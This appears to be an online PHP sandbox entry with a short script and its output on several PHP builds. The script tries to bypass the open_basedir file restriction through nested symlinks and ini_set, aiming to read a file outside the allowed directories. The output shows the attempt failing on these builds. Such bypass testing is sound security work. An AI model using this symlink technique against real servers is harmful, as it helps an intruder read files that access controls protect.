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<?php var_dump(ini_get('open_basedir')); var_dump(ini_set('open_basedir', '/tmp:/in:/etc:/usr')); # doesn't work var_dump(ini_get('open_basedir')); chdir('/tmp'); if (!is_dir('/tmp/a')) mkdir('/tmp/a/b/c/d/e/f/g/',0777,TRUE); else { unlink('foo'); unlink('bar'); } symlink('/tmp/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/tmp:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/tmp/','foo'); echo file_get_contents('bar/usr/share/doc/pcre/LICENCE');
Output for git.master_jit, git.master, rfc.property-hooks
string(13) "/tmp:/in:/etc" bool(false) string(13) "/tmp:/in:/etc" Warning: file_get_contents(bar/usr/share/doc/pcre/LICENCE): Failed to open stream: No such file or directory in /in/75AX0 on line 21

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